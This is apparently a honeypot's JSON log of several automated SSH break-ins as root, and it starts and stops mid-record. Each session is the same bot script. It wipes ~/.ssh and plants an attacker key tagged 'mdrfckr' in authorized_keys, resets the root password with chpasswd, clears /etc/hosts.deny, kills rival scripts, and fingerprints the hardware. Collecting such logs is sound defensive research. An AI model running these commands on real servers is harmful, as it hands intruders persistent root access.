AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:30:25.983728+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:30:26.523854+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:30:27.055132+00:00","kind":"input","latency_ms":null,"data":"echo \"root:WWL8jYkFWDPg\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:30:27.565729+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:30:28.072024+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:30:28.779065+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:30:29.298788+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:30:30.569023+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:30:31.080167+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:30:32.290257+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:30:32.811293+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:30:33.576650+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:30:34.084511+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:30:34.366743+00:00","kind":"output","latency_ms":null,"data":" 00:30:34 up 6 days, 21:20, 0 user, load average: 0.14, 0.11, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:30:34.878684+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:30:35.618228+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:30:36.138251+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:30:36.853571+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:30:37.363137+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:30:37.650900+00:00","kind":"output","latency_ms":null,"data":"top - 00:30:37 up 6 days, 21:20, 0 user, load average: 0.14, 0.11, 0.15\nTasks: 118 total, 1 running, 117 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:30:38.163822+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:30:39.010637+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:30:39.523958+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:30:39.852396+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:30:40.369868+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:30:41.055037+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:30:41.571389+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:30:43.287026+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:30:43.804686+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:30:45.095070+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"1qaz2wsx3edc!","method":"password","accepted":true,"tier":"other"}]} {"id":"5edb1ccb-d4dc-4fe7-b301-528eb53018b3","name":"frank-dappled-cougar","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":50422,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":581,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:21:10.422459+00:00","ended_at":"2026-08-27T00:21:11.831471+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2117,"events":[{"seq":1,"at":"2026-08-27T00:20:46.105549+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:20:46.693485+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:20:55.547708+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:20:55.550189+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:20:56.147305+00:00","kind":"input","latency_ms":null,"data":"echo \"root:cDFEPqQz78A8\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:20:56.722907+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:20:57.320145+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:20:57.321789+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:20:58.280436+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:20:58.860417+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:20:59.563152+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:21:00.087314+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:21:00.669725+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:21:00.670444+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T00:21:01.250608+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:21:01.251149+00:00","kind":"output","latency_ms":null,"data":" 00:21:01 up 6 days, 21:11, 0 user, load average: 0.06, 0.05, 0.04\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:21:01.833297+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:21:02.255044+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:21:02.833844+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:21:03.335181+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:21:03.912762+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:21:04.237080+00:00","kind":"output","latency_ms":null,"data":"top - 00:21:04 up 6 days, 21:11, 0 user, load average: 0.06, 0.05, 0.04\nTasks: 128 total, 1 running, 127 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:21:04.825734+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:21:05.269410+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:21:05.847057+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:21:06.615712+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:21:07.201859+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:21:07.897539+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:21:08.477705+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:21:09.844062+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:21:10.423248+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:21:11.640059+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"QAZwsx123","method":"password","accepted":true,"tier":"other"}]} {"id":"d8569d23-7d3d-4484-a143-bef4fc61640a","name":"jaunty-northern-boar","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":34414,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":548,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T00:14:46.269218+00:00","ended_at":"2026-08-27T00:14:47.160675+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2095,"events":[{"seq":1,"at":"2026-08-27T00:14:31.047188+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T00:14:31.594880+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T00:14:36.357035+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T00:14:36.357602+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T00:14:36.906465+00:00","kind":"input","latency_ms":null,"data":"echo \"root:EERZmGr3xBSk\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T00:14:37.453970+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T00:14:37.999736+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T00:14:38.000350+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T00:14:38.547119+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T00:14:39.129398+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T00:14:39.680208+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T00:14:40.232146+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T00:14:40.781391+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T00:14:40.782380+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T00:14:41.330493+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T00:14:41.331491+00:00","kind":"output","latency_ms":null,"data":" 00:14:41 up 6 days, 21:04, 0 user, load average: 0.03, 0.04, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T00:14:41.879747+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T00:14:41.880324+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T00:14:42.428593+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T00:14:42.429188+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T00:14:42.977103+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T00:14:42.977617+00:00","kind":"output","latency_ms":null,"data":"top - 00:14:42 up 6 days, 21:04, 0 user, load average: 0.03, 0.04, 0.02\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T00:14:43.534481+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T00:14:43.535148+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T00:14:44.083739+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T00:14:44.084855+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T00:14:44.634667+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T00:14:44.635324+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T00:14:45.195411+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T00:14:45.711911+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T00:14:46.269946+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T00:14:46.982355+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Qwe1234.","method":"password","accepted":true,"tier":"other"}]} {"id":"48a02821-9c28-49b2-a275-dbf93718a57c","name":"northern-diligent-kea","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":57256,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:54:02.157985+00:00","ended_at":"2026-08-26T22:54:03.018766+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:53:37.188591+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:53:37.256827+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:53:40.190177+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:53:42.047526+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:53:42.113231+00:00","kind":"input","latency_ms":null,"data":"echo \"root:E0mktp4d0qj4\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:53:42.179078+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:53:42.245574+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:53:43.797841+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T22:53:43.801690+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-26T22:53:43.864554+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T22:53:45.880333+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:53:45.950303+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:53:46.825082+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:53:46.893799+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:53:47.805204+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T22:53:47.872960+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T22:53:49.221076+00:00","kind":"output","latency_ms":null,"data":" 22:53:49 up 6 days, 19:43, 0 user, load average: 0.19, 0.24, 0.17\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T22:53:49.292623+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T22:53:50.969172+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T22:53:51.037333+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T22:53:52.312429+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T22:53:52.379924+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T22:53:53.984051+00:00","kind":"output","latency_ms":null,"data":"top - 22:53:53 up 6 days, 19:44, 0 user, load average: 0.19, 0.24, 0.17\nTasks: 109 total, 1 running, 108 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T22:53:54.051603+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T22:53:56.196962+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T22:53:56.264533+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T22:53:58.062709+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T22:53:58.131628+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T22:54:00.129865+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T22:54:00.195909+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T22:54:02.092097+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T22:54:02.158729+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T22:54:03.007791+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qweR123$","method":"password","accepted":true,"tier":"other"}]} {"id":"22fe2092-f0d9-4d16-894b-ecbb034222d0","name":"velvet-burly-oriole","protocol":"ssh","channel_kind":"exec","src_ip":"129.121.114.225","src_port":59282,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T22:48:14.443094+00:00","ended_at":"2026-08-26T22:48:15.808304+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T22:47:50.364089+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T22:47:50.433308+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T22:47:52.346634+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T22:47:54.266935+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T22:47:54.337027+00:00","kind":"input","latency_ms":null,"data":"echo \"root:67ezaJoNdMw8\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T22:47:54.405710+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T22:47:54.475003+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T22:47:55.282118+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-26T22:47:55.867564+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T22:47:55.939799+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T22:47:57.442529+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T22:47:57.514447+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T22:47:59.147216+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T22:47:59.222201+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T22:48:01.423148+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab 